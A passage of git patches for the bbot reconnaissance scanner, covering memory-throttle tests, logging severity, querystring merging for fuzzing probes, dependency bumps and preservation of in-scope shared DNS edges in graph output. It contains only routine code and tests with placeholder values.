new_delay = 0.0 self._ingress_delay = new_delay if mem_percent > self.max_mem_percent: free_memory_human = self.helpers.bytes_to_human(mem_status.available) diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index 45f97bd97d..d094fd4093 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -460,18 +460,63 @@ def mock_memory_status(): # status loop wires memory_status -> _ingress_delay assert scan._ingress_delay == 0.0 - mem_percent[0] = 93.0 - scan.modules_status(_log=False) - assert scan._ingress_delay == pytest.approx(3.0), "delay should engage above threshold" - - mem_percent[0] = 97.0 - scan.modules_status(_log=False) - assert scan._ingress_delay == pytest.approx(5.0), "delay should clamp at the cap" - - mem_percent[0] = 80.0 - scan.modules_status(_log=False) - assert scan._ingress_delay == 0.0, "delay should clear once memory drops back" + # the drain-mode bypass only zeros the delay when no module has work; pin a fake task so + # the engagement curve below exercises the memory-driven formula, not the bypass + target_module = next(m for m in scan.modules.values() if not m._intercept) + target_module._task_counter.tasks["fake-task"] = SimpleNamespace(n=1) + try: + mem_percent[0] = 93.0 + scan.modules_status(_log=False) + assert scan._ingress_delay == pytest.approx(3.0), "delay should engage above threshold" + + mem_percent[0] = 97.0 + scan.modules_status(_log=False) + assert scan._ingress_delay == pytest.approx(5.0), "delay should clamp at the cap" + + mem_percent[0] = 80.0 + scan.modules_status(_log=False) + assert scan._ingress_delay == 0.0, "delay should clear once memory drops back" + finally: + target_module._task_counter.tasks.pop("fake-task", None) # scan still produces events with the throttle disengaged events = [e async for e in scan.async_start()] assert any(e.type == "IP_ADDRESS" for e in events), "scan should still produce events" + + +@pytest.mark.asyncio +async def test_memory_backpressure_drain_mode_bypass(bbot_scanner, monkeypatch): + """Throttle must clear in drain mode: with memory pinned high but no module producing, + ingress IS the drain and throttling it traps the scan in a feedback loop.""" + from types import SimpleNamespace + + mem_percent = [93.0] + + def mock_memory_status(): + return SimpleNamespace(percent=mem_percent[0], available=1_000_000_000) + + scan = bbot_scanner("127.0.0.1", config={"max_mem_percent": 90}) + await scan._prep() + monkeypatch.setattr("bbot.core.helpers.misc.memory_status", mock_memory_status) + + non_intercept = [m for m in scan.modules.values() if not m._intercept] + assert non_intercept, "test requires at least one non-intercept module" + + # simulate a healthy scan: at least one module is mid-handle + target_module = non_intercept[0] + target_module._task_counter.tasks["fake-task"] = SimpleNamespace(n=1) + try: + scan.modules_status(_log=False) + assert scan._ingress_delay == pytest.approx(3.0), ( + "throttle should engage when memory is high and a module is running" + ) + finally: + target_module._task_counter.tasks.pop("fake-task", None) + + # now drain mode: no module running, no module has queued work + for m in non_intercept: + assert not m.running + assert m.outgoing_event_queue.qsize() == 0 + assert m.num_incoming_events == 0 + scan.modules_status(_log=False) + assert scan._ingress_delay == 0.0, "throttle must clear in drain mode (no producers, ingress is the drain)" From ebc20ef1dbbce4ea2b56af474363346d859b2c0f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 25 May 2026 17:30:03 -0400 Subject: [PATCH 708/912] log: don't ERROR on intentional stops - kill_module: pass log_level="info" to set_error_state - KeyboardInterrupt in cli: warning instead of error - "Aborting scan": revert to hugewarning (triggered by Ctrl-C) set_error_state gains a log_level kwarg so callers can pick the severity. Genuine failures (setup hard-fail, API threshold, dep install, DNS dead) still log at ERROR. --- bbot/cli.py | 2 +- bbot/modules/base.py | 23 +++++++++-------------- bbot/scanner/scanner.py | 4 ++-- 3 files changed, 12 insertions(+), 17 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index 87d32ea514..08cad27fcf 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -349,7 +349,7 @@ def main(): msg = "Interrupted" if scan_name: msg = f"You killed {scan_name}" - log.error(msg) + log.warning(msg) log.trace(traceback.format_exc()) log_to_stderr(msg, level="WARNING") if CORE.logger.log_level <= logging.DEBUG: diff --git a/bbot/modules/base.py b/bbot/modules/base.py index 6fde7c4a24..470bed9335 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -1069,26 +1069,21 @@ async def queue_outgoing_event(self, event, **kwargs): except AttributeError: self.debug("Not in an acceptable state to queue outgoing event") - def set_error_state(self, message=None, clear_outgoing_queue=False, critical=False): + def set_error_state(self, message=None, clear_outgoing_queue=False, critical=False, log_level="error"): """ - Puts the module into an errored state where it cannot accept new events. Optionally logs a warning message. - - The function sets the module's `errored` attribute to True and logs a warning with the optional message. - It also clears the incoming event queue to prevent further processing and updates its status to False. + Puts the module into an errored state where it cannot accept new events. Optionally logs a message. Args: - message (str, optional): Additional message to be logged along with the warning. - - Returns: - None: The function doesn't return anything but updates the `errored` state and clears the incoming event queue. + message (str, optional): Additional message to log alongside the state transition. + clear_outgoing_queue (bool): Drain the outgoing event queue as well. + critical (bool): Log at CRITICAL severity (overrides log_level). + log_level (str): Severity to log at when not critical. Use "info" or "verbose" for intentional + stops (e.g. user-initiated kill) so they don't appear in error.log. Examples: >>> self.set_error_state() >>> self.set_error_state("Failed to connect to the server") - - Notes: - - The function sets `self._incoming_event_queue` to False to prevent its further use. - - If the module was already in an errored state, the function will not reset the error state or the queue. + >>> self.set_error_state("killed by user", log_level="info") """ if not self.errored: log_msg = "Setting error state" @@ -1097,7 +1092,7 @@ def set_error_state(self, message=None, clear_outgoing_queue=False, critical=Fal if critical: self.critical(log_msg, trace=False) else: - self.error(log_msg) + getattr(self, log_level)(log_msg) self.errored = True # clear incoming queue if self.incoming_event_queue is not False: diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 8c2d6ccac9..1a809807e7 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -714,7 +714,7 @@ def kill_module(self, module_name, message=None): if module._intercept: self.warning(f'Cannot kill module "{module_name}" because it is critical to the scan') return - module.set_error_state(message=message, clear_outgoing_queue=True) + module.set_error_state(message=message, clear_outgoing_queue=True, log_level="info") for proc in module._proc_tracker: with contextlib.suppress(Exception): proc.send_signal(SIGINT) @@ -858,7 +858,7 @@ async def async_stop(self): if not self._stopping: self._stopping = True await self._set_status(SCAN_STATUS_ABORTING) - self.critical("Aborting scan", trace=False) + self.hugewarning("Aborting scan") self.trace() self._cancel_tasks() self._drain_queues() From 9e0e7744fe1e99938a207d6068301c19b97129df Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 26 May 2026 01:14:49 -0400 Subject: [PATCH 709/912] stdout: even confidence brightness spread 0.55-1.00 --- bbot/modules/output/stdout.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/bbot/modules/output/stdout.py b/bbot/modules/output/stdout.py index b5d0a58439..02d3c12863 100644 --- a/bbot/modules/output/stdout.py +++ b/bbot/modules/output/stdout.py @@ -28,10 +28,10 @@ class Stdout(BaseOutputModule): # tuned so even UNKNOWN stays legible on dark terminals (brightest channel ~115) finding_confidence_brightness = { "CONFIRMED": 1.00, - "HIGH": 0.82, - "MEDIUM": 0.65, - "LOW": 0.55, - "UNKNOWN": 0.45, + "HIGH": 0.88, + "MEDIUM": 0.77, + "LOW": 0.66, + "UNKNOWN": 0.55, } format_choices = ["text", "json"] From 649143a30f767387e5a0b8e73d69f26a14582e46 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 26 May 2026 01:48:58 -0400 Subject: [PATCH 710/912] lightfuzz/reflected_parameters: merge probe into existing querystring Both build_query_string and send_probe_with_canary appended ?name=value to event.url with an f-string, producing URLs with multiple ? segments when the source WEB_PARAMETER already carried a querystring (common from wayback when url_querystring_remove=False). Route through add_get_params so the probe merges into the existing querystring instead. --- bbot/modules/lightfuzz/submodules/base.py | 14 +++--- bbot/modules/reflected_parameters.py | 6 ++- .../module_tests/test_module_lightfuzz.py | 44 +++++++++++++++++++ .../test_module_reflected_parameters.py | 29 ++++++++++++ 4 files changed, 87 insertions(+), 6 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index fb64f203bf..2c0c808cf2 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -91,11 +91,15 @@ def conditional_urlencode(self, probe, event_type, skip_urlencoding=False): return probe def build_query_string(self, probe, parameter_name, additional_params=None): - """Constructs a URL with query parameters from the given probe and additional parameters.""" - url = f"{self.event.url}?{parameter_name}={probe}" - if additional_params: - url = self.lightfuzz.helpers.add_get_params(url, additional_params, encode=False).geturl() - return url + """Constructs a URL with query parameters from the given probe and additional parameters. + + Merges into any existing querystring on ``self.event.url``: the probe replaces + ``parameter_name`` if it's already present, and ``additional_params`` fill in + alongside. Sibling params already in the URL are preserved. + """ + params = dict(additional_params) if additional_params else {} + params[parameter_name] = probe + return self.lightfuzz.helpers.add_get_params(self.event.url, params, encode=False).geturl() def prepare_request( self, diff --git a/bbot/modules/reflected_parameters.py b/bbot/modules/reflected_parameters.py index 460d1f96f9..e4ffa8d96d 100644 --- a/bbot/modules/reflected_parameters.py +++ b/bbot/modules/reflected_parameters.py @@ -66,7 +66,11 @@ async def send_probe_with_canary(self, event, parameter_name, parameter_value, c param_type = event.data["type"] if param_type == "GETPARAM": - url = f"{url}?{parameter_name}={parameter_value}&c4n4ry={canary_value}" + url = self.helpers.add_get_params( + url, + {parameter_name: parameter_value, "c4n4ry": canary_value}, + encode=False, + ).geturl() elif param_type == "COOKIE": cookies.update(params) elif param_type == "HEADER": diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 04cecc7e37..a79f6f1eac 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1,6 +1,8 @@ import json import re import base64 +from types import SimpleNamespace +from urllib.parse import urlparse, parse_qs from .base import ModuleTestBase, tempwordlist from werkzeug.wrappers import Response @@ -8,9 +10,51 @@ import xml.etree.ElementTree as ET +from bbot.core.helpers.url import add_get_params +from bbot.modules.lightfuzz.submodules.base import BaseLightfuzz + from .test_module_paramminer_headers import helper +def _make_base_lightfuzz(url): + event = SimpleNamespace(url=url, data={"name": "p"}) + lightfuzz = SimpleNamespace(helpers=SimpleNamespace(add_get_params=add_get_params)) + return BaseLightfuzz(lightfuzz, event) + + +def test_lightfuzz_build_query_string_no_existing_qs(): + bl = _make_base_lightfuzz("https://x.test/path") + assert bl.build_query_string("PROBE", "p") == "https://x.test/path?p=PROBE" + + +def test_lightfuzz_build_query_string_unrelated_existing_param(): + bl = _make_base_lightfuzz("https://x.test/path?init=true") + result = bl.build_query_string("PROBE", "p") + assert result.count("?") == 1 + assert parse_qs(urlparse(result).query) == {"init": ["true"], "p": ["PROBE"]} + + +def test_lightfuzz_build_query_string_probe_overrides_existing_same_param(): + bl = _make_base_lightfuzz("https://x.test/path?p=original&init=true") + result = bl.build_query_string("PROBE", "p") + assert result.count("?") == 1 + assert parse_qs(urlparse(result).query) == {"p": ["PROBE"], "init": ["true"]} + + +def test_lightfuzz_build_query_string_merges_additional_params(): + bl = _make_base_lightfuzz("https://x.test/path?init=true") + result = bl.build_query_string("PROBE", "p", additional_params={"unlock": "tok"}) + assert result.count("?") == 1 + assert parse_qs(urlparse(result).query) == {"init": ["true"], "p": ["PROBE"], "unlock": ["tok"]} + + +def test_lightfuzz_build_query_string_preserves_fragment(): + bl = _make_base_lightfuzz("https://x.test/path?init=true#frag") + result = bl.build_query_string("PROBE", "p") + assert result.count("?") == 1 + assert result.endswith("#frag") + + # Path Traversal single dot tolerance class Test_Lightfuzz_path_singledot(ModuleTestBase): targets = ["http://127.0.0.1:8888"] diff --git a/bbot/test/test_step_2/module_tests/test_module_reflected_parameters.py b/bbot/test/test_step_2/module_tests/test_module_reflected_parameters.py index a3e7f7416f..f4e84855c7 100644 --- a/bbot/test/test_step_2/module_tests/test_module_reflected_parameters.py +++ b/bbot/test/test_step_2/module_tests/test_module_reflected_parameters.py @@ -1,11 +1,40 @@ +from types import SimpleNamespace +from urllib.parse import urlparse, parse_qs + +import pytest + from .base import ModuleTestBase, tempwordlist from werkzeug.wrappers import Response import re +from bbot.core.helpers.url import add_get_params +from bbot.modules.reflected_parameters import reflected_parameters as reflected_parameters_module + from .test_module_paramminer_getparams import TestParamminer_Getparams from .test_module_paramminer_headers import helper +@pytest.mark.asyncio +async def test_reflected_parameters_send_probe_with_canary_merges_querystring(): + captured = {} + + async def fake_request(**kwargs): + captured["url"] = kwargs["url"] + return None + + mod = SimpleNamespace( + helpers=SimpleNamespace(add_get_params=add_get_params, request=fake_request), + debug=lambda *_a, **_kw: None, + ) + event = SimpleNamespace(url="https://x.test/path?init=true", data={"type": "GETPARAM"}) + + await reflected_parameters_module.send_probe_with_canary(mod, event, "p", "PROBE", "C4N", cookies={}) + + assert captured["url"].count("?") == 1 + qs = parse_qs(urlparse(captured["url"]).query) + assert qs == {"init": ["true"], "p": ["PROBE"], "c4n4ry": ["C4N"]} + + class TestReflected_parameters_fromexcavate(ModuleTestBase): targets = ["http://127.0.0.1:8888"] modules_overrides = ["http", "reflected_parameters", "excavate"] From 8a7a9d113ac3a55ea6afe1b9043924b076c2e1cf Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 26 May 2026 01:49:05 -0400 Subject: [PATCH 711/912] excavate: read response body via event.body in ParameterExtractor.process ParameterExtractor.process read response_body from event.data['body'], which body-spill pops at HTTP_RESPONSE construction. Form-field extraction silently emitted no WEB_PARAMETERs whenever spill was on (default). Switch to event.body so the spill store is consulted. --- bbot/modules/internal/excavate.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index f924f8c0bb..e6e5cc7162 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -700,7 +700,9 @@ async def preprocess(self, r, event, discovery_context): async def process(self, yara_results, event, yara_rule_settings, discovery_context): # Group yields by (type, name, url) within an identifier; extra distinct values for # the same param are stashed in same_param_values so they survive WEB_PARAMETER dedup. - response_body = event.data.get("body", "") if isinstance(event.data, dict) else "" + # Use event.body (property) so we hit the body-spill store; event.data["body"] is + # popped at spill time and would be empty here. + response_body = getattr(event, "body", "") or "" for identifier, results in yara_results.items(): if identifier not in self.parameterExtractorCallbackDict.keys(): raise ExcavateError("ParameterExtractor YaraRule identified reference non-existent submodule") From 72a3aa7070f877ac0148aee98e9d76d2d0bf7e13 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 31 May 2026 04:42:49 +0000 Subject: [PATCH 712/912] Bump ruff from 0.15.14 to 0.15.15 Bumps [ruff](https://github.com/astral-sh/ruff) from 0.15.14 to 0.15.15. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.15.14...0.15.15) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.15.15 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 38f7f8de91..9270915894 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -80,7 +80,7 @@ dev = [ "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", "baddns~=2.3.0", - "ruff==0.15.14", + "ruff==0.15.15", "maturin>=1.4,<2", ] docs = [ From fd01b3679ec0c5d58126350e5054a9cfd4e7dd5e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 31 May 2026 04:42:54 +0000 Subject: [PATCH 713/912] Bump pytest-asyncio from 1.3.0 to 1.4.0 Bumps [pytest-asyncio](https://github.com/pytest-dev/pytest-asyncio) from 1.3.0 to 1.4.0. - [Release notes](https://github.com/pytest-dev/pytest-asyncio/releases) - [Commits](https://github.com/pytest-dev/pytest-asyncio/compare/v1.3.0...v1.4.0) --- updated-dependencies: - dependency-name: pytest-asyncio dependency-version: 1.4.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 38f7f8de91..9b9c5538d4 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -74,7 +74,7 @@ dev = [ "pytest-timeout>=2.3.1,<3", "pytest-httpserver>=1.0.11,<2", "pytest>=8.3.1,<10", - "pytest-asyncio==1.3.0", + "pytest-asyncio==1.4.0", "uvicorn>=0.32,<0.48", "fastapi>=0.115.5,<0.137.0", "pytest-httpx>=0.35", From 3b8a034707531db0e08eaae79e2ef7b72a89d406 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 31 May 2026 14:11:04 -0400 Subject: [PATCH 714/912] add failing test for in-scope shared-infra graph fidelity --- .../module_tests/test_module_dnsresolve.py | 75 +++++++++++++++++++ 1 file changed, 75 insertions(+) diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py b/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py index 3c74233116..9f42c26263 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py @@ -145,6 +145,81 @@ def check(self, module_test, events): ) +class TestDNSResolveInScopeSharedInfraGraphFidelity(ModuleTestBase): + """ + Cross-parent graph fidelity for IN-SCOPE shared infrastructure, asserted against the + actual json graph output (the same parent->child edges neo4j builds). + + Three in-scope parents share the same in-scope NS/SOA hosts (subdomains of an in-scope + target). Unlike the out-of-scope affiliate flood in TestDNSResolveSharedNameserverDedup, + each of these parent->child edges is a distinct, real graph edge that graph outputs + (neo4j/json) must preserve. The (rdtype, child) dedup correctly collapses the affiliate + flood, but it also drops these in-scope cross-parent edges, linking the shared host to + only the first-seen parent. + + This reads output.json and asserts every in-scope parent->child edge survives. It FAILS + against the current dedup (only the first-seen edge is kept) and should pass once + cross-parent edges are preserved for graph outputs (e.g. re-emitted as graph-important). + """ + + module_name = "dnsresolve" + modules_overrides = ["dnsresolve", "json"] + targets = ["domain-a.test", "domain-b.test", "domain-c.test"] + config_overrides = {"dns": {"minimal": False}} + + async def setup_after_prep(self, module_test): + # shared nameservers that are themselves in-scope (subdomains of an in-scope target) + shared_ns = ["ns1.domain-a.test.", "ns2.domain-a.test."] + shared_soa = ["ns1.domain-a.test. admin.domain-a.test. 1 7200 3600 1209600 3600"] + await module_test.mock_dns( + { + "domain-a.test": {"A": ["192.168.0.1"], "NS": shared_ns, "SOA": shared_soa}, + "domain-b.test": {"A": ["192.168.0.2"], "NS": shared_ns, "SOA": shared_soa}, + "domain-c.test": {"A": ["192.168.0.3"], "NS": shared_ns, "SOA": shared_soa}, + # resolve the shared nameservers so they keep the DNS_NAME type + "ns1.domain-a.test": {"A": ["192.168.99.1"]}, + "ns2.domain-a.test": {"A": ["192.168.99.2"]}, + } + ) + + def check(self, module_test, events): + import json + + output_json = module_test.scan.home / "output.json" + assert output_json.is_file(), f"json output not written to {output_json}" + graph_events = [json.loads(line) for line in output_json.read_text().splitlines() if line.strip()] + # map each event id to its data so we can resolve parent ids back to parent hosts (edges) + id_to_data = {e["id"]: e.get("data") for e in graph_events if "id" in e} + + expected_parents = {"domain-a.test", "domain-b.test", "domain-c.test"} + + def parents_of(child, module): + return { + id_to_data.get(e.get("parent")) + for e in graph_events + if e.get("type") in ("DNS_NAME", "DNS_NAME_UNRESOLVED") + and e.get("data") == child + and e.get("module") == module + } + + ns1_parents = parents_of("ns1.domain-a.test", "NS") + ns2_parents = parents_of("ns2.domain-a.test", "NS") + soa_parents = parents_of("ns1.domain-a.test", "SOA") + + assert ns1_parents == expected_parents, ( + f"in-scope shared NS ns1.domain-a.test lost cross-parent edges in graph output: " + f"linked to {ns1_parents or set()}, expected {expected_parents}" + ) + assert ns2_parents == expected_parents, ( + f"in-scope shared NS ns2.domain-a.test lost cross-parent edges in graph output: " + f"linked to {ns2_parents or set()}, expected {expected_parents}" + ) + assert soa_parents == expected_parents, ( + f"in-scope shared SOA host lost cross-parent edges in graph output: " + f"linked to {soa_parents or set()}, expected {expected_parents}" + ) + + class TestDNSResolveFilterPTRsDisabled(ModuleTestBase): """Test that PTR-derived hostnames ARE promoted to in-scope when filter_ptrs is disabled.""" From 03e9a41902c26ea81beafaef0d29815aef41792f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 31 May 2026 15:01:49 -0400 Subject: [PATCH 715/912] preserve in-scope cross-parent DNS edges in graph output Re-emit in-scope shared-infra child events as graph-important so neo4j/json keep every parent->child edge. Route graph-important events only to modules that consume them (preserve_graph or accept_dupes), so normal scan modules see no extra churn. --- bbot/modules/internal/dnsresolve.py | 20 ++++++++++++++++---- bbot/scanner/manager.py | 12 +++++++++--- 2 files changed, 25 insertions(+), 7 deletions(-) diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index 5fab0faca9..5eebec57fc 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -132,10 +132,14 @@ async def handle_event(self, event, **kwargs): ) main_host_event.add_tag(f"runaway-dns-{dns_resolve_distance}") else: - # emit dns children - await self.emit_dns_children_raw(main_host_event, dns_tags) - if not self.minimal: - await self.emit_dns_children(main_host_event) + # graph-important events are edge-only re-emissions of an already-processed host; + # skip re-walking their children (the canonical emission already did so, and + # re-walking would re-emit the same cross-parent edges once per parent) + if not event._graph_important: + # emit dns children + await self.emit_dns_children_raw(main_host_event, dns_tags) + if not self.minimal: + await self.emit_dns_children(main_host_event) # emit the main DNS_NAME or IP_ADDRESS if ( @@ -221,6 +225,14 @@ async def emit_dns_children(self, event): child_event.add_tag("affiliate") self.debug(f"Queueing DNS child for {event}: {child_event}") await self.emit_event(child_event) + # already emitted under another parent: the child entity is the same, but this + # parent->child edge is distinct. preserve it for graph outputs (neo4j/json) when + # the child is in-scope, so shared in-scope infrastructure keeps every edge. + # out-of-scope affiliate dups fall through here and stay collapsed. + elif self.preset.in_scope(child_host): + child_event._graph_important = True + self.debug(f"Queueing graph-important DNS child edge for {event}: {child_event}") + await self.emit_event(child_event) async def emit_dns_children_raw(self, event, dns_tags): for rdtype, answers in event.raw_dns_records.items(): diff --git a/bbot/scanner/manager.py b/bbot/scanner/manager.py index ddf5048be4..38fe5ae793 100644 --- a/bbot/scanner/manager.py +++ b/bbot/scanner/manager.py @@ -271,10 +271,16 @@ async def forward_event(self, event, kwargs): if -1 < event.scope_distance < 1: self.scan.word_cloud.absorb_event(event) - for mod in self.scan.modules.values(): + for module in self.scan.modules.values(): # don't distribute events to intercept modules - if not mod._intercept: - await mod.queue_event(event) + if module._intercept: + continue + # graph-important events are duplicates re-emitted only to preserve graph structure. + # a module that isn't graph-preserving and doesn't accept dupes would just drop them + # at its postcheck, so skip queueing entirely and avoid the churn (outcome unchanged) + if event._graph_important and not (module.preserve_graph or module.accept_dupes): + continue + await module.queue_event(event) # if no module accepted this event, minimize it now if event._module_consumers <= 0: From f7a175f987d417c1242aaf1ce5c3377ffa5ca54c Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 31 May 2026 15:28:49 -0400 Subject: [PATCH 716/912] dedup graph-important DNS edges per parent children_emitted is parent-less (#3126), so the in-scope re-emit also fired on same-host re-processing (SRV/wildcard chains), over-emitting graph-important events. Track (parent, rdtype, child) for in-scope edges so only genuinely new cross-parent edges re-emit. --- bbot/modules/internal/dnsresolve.py | 21 +++++++++++++++------ 1 file changed, 15 insertions(+), 6 deletions(-) diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index 5eebec57fc..ae0fbc69f5 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -43,6 +43,7 @@ async def setup(self): self.host_module = self.HostModule(self.scan) self.children_emitted = set() + self.child_edges_emitted = set() self.children_emitted_raw = set() self.hosts_resolved = set() @@ -215,21 +216,29 @@ async def emit_dns_children(self, event): child_event.add_tag("ptr") child_hash = hash(f"{module}:{child_host}") + child_in_scope = self.preset.in_scope(child_host) + # parent-aware key: tells a genuinely new parent->child edge apart from the same + # host being re-processed (children_emitted drops the parent, so it can't). only + # in-scope edges are ever re-emitted for the graph, so only those are tracked. + edge_hash = hash(f"{event.host}:{module}:{child_host}") # if we haven't emitted this one before if child_hash not in self.children_emitted: # and it's either in-scope or inside our dns search distance - if self.preset.in_scope(child_host) or child_event.scope_distance <= self._dns_search_distance: + if child_in_scope or child_event.scope_distance <= self._dns_search_distance: self.children_emitted.add(child_hash) + if child_in_scope: + self.child_edges_emitted.add(edge_hash) # if it's a hostname and it's only one hop away, mark it as affiliate if child_event.type == "DNS_NAME" and child_event.scope_distance == 1: child_event.add_tag("affiliate") self.debug(f"Queueing DNS child for {event}: {child_event}") await self.emit_event(child_event) - # already emitted under another parent: the child entity is the same, but this - # parent->child edge is distinct. preserve it for graph outputs (neo4j/json) when - # the child is in-scope, so shared in-scope infrastructure keeps every edge. - # out-of-scope affiliate dups fall through here and stay collapsed. - elif self.preset.in_scope(child_host): + # the child entity was already emitted, but a genuinely new in-scope parent->child + # edge is worth preserving for graph outputs (neo4j/json) so shared in-scope + # infrastructure keeps every edge. out-of-scope dups and same-parent re-processing + # fall through here and stay collapsed. + elif child_in_scope and edge_hash not in self.child_edges_emitted: + self.child_edges_emitted.add(edge_hash) child_event._graph_important = True self.debug(f"Queueing graph-important DNS child edge for {event}: {child_event}") await self.emit_event(child_event) From 93ba02857a0809a776fa0227155babac8626345a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 31 May 2026 16:01:26 -0400 Subject: [PATCH 717/912] update dnscommonsrv test for preserved in-scope SRV edges asdf.blacklanternsecurity.com is in-scope shared infra (SRV target of two in-scope _ldap records); both cross-parent edges are now preserved, so it emits two DNS_NAME events instead of one. --- .../module_tests/test_module_dnscommonsrv.py | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py index 234f126eb5..b8b1255a55 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py @@ -55,7 +55,7 @@ async def new_run_live(*command, check=False, text=True, **kwargs): ) def check(self, module_test, events): - assert len(events) == 19 + assert len(events) == 20 assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "blacklanternsecurity.com"]) assert 1 == len( [ @@ -75,11 +75,15 @@ def check(self, module_test, events): and str(e.module) == "dnscommonsrv" ] ), "Failed to detect subdomain 2" - # cross-parent (rdtype, child) dedup in DNSResolve.emit_dns_children collapses - # the two SRV->asdf edges into a single DNS_NAME event - assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "asdf.blacklanternsecurity.com"]), ( - "Failed to detect subdomain 3" - ) + # asdf.blacklanternsecurity.com is in-scope shared infrastructure: the SRV target of two + # different in-scope _ldap records. both parent->child edges are preserved for graph output + # (the second as a graph-important re-emission), so it produces two DNS_NAME events. + asdf_events = [e for e in events if e.type == "DNS_NAME" and e.data == "asdf.blacklanternsecurity.com"] + assert 2 == len(asdf_events), "Failed to detect subdomain 3" + assert {str(e.parent.data) for e in asdf_events} == { + "_ldap._tcp.gc._msdcs.blacklanternsecurity.com", + "_ldap._tcp.gc._msdcs.api.blacklanternsecurity.com", + }, "in-scope shared SRV target should keep both cross-parent edges" assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "api.blacklanternsecurity.com"]), ( "Failed to detect subdomain 4" ) @@ -111,7 +115,7 @@ def check(self, module_test, events): ] ), "Failed to emit RAW_DNS_RECORD for _ldap._tcp.gc._msdcs.blacklanternsecurity.com" assert 2 == len([e for e in events if e.type == "RAW_DNS_RECORD"]) - assert 9 == len([e for e in events if e.type == "DNS_NAME"]) + assert 10 == len([e for e in events if e.type == "DNS_NAME"]) assert 5 == len([e for e in events if e.type == "DNS_NAME_UNRESOLVED"]) assert 5 == len([e for e in events if e.type == "DNS_NAME_UNRESOLVED" and str(e.module) == "speculate"]) From de2d03950598df3742a4c85b56d3ef53a7c2dab4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 31 May 2026 18:55:57 -0400 Subject: [PATCH 718/912] don't re-emit omitted dns children as graph-important emit_dns_children re-emits cross-parent edges for in-scope children as graph-important so neo4j/json keep every edge. Skip that when the child type is omitted: it would be dropped at output anyway, and flagging it breaks the rule that a graph-important event is never omitted. Also only compute the scope check and parent-aware edge hash for genuinely new children, so already-seen out-of-scope dups don't pay for a scope lookup on every occurrence. --- bbot/modules/internal/dnsresolve.py | 31 +++++++----- .../module_tests/test_module_dnsresolve.py | 49 +++++++++++++++++++ 2 files changed, 68 insertions(+), 12 deletions(-) diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index ae0fbc69f5..ba3bcb517b 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -43,6 +43,7 @@ async def setup(self): self.host_module = self.HostModule(self.scan) self.children_emitted = set() + self.in_scope_children = set() self.child_edges_emitted = set() self.children_emitted_raw = set() self.hosts_resolved = set() @@ -216,18 +217,17 @@ async def emit_dns_children(self, event): child_event.add_tag("ptr") child_hash = hash(f"{module}:{child_host}") - child_in_scope = self.preset.in_scope(child_host) - # parent-aware key: tells 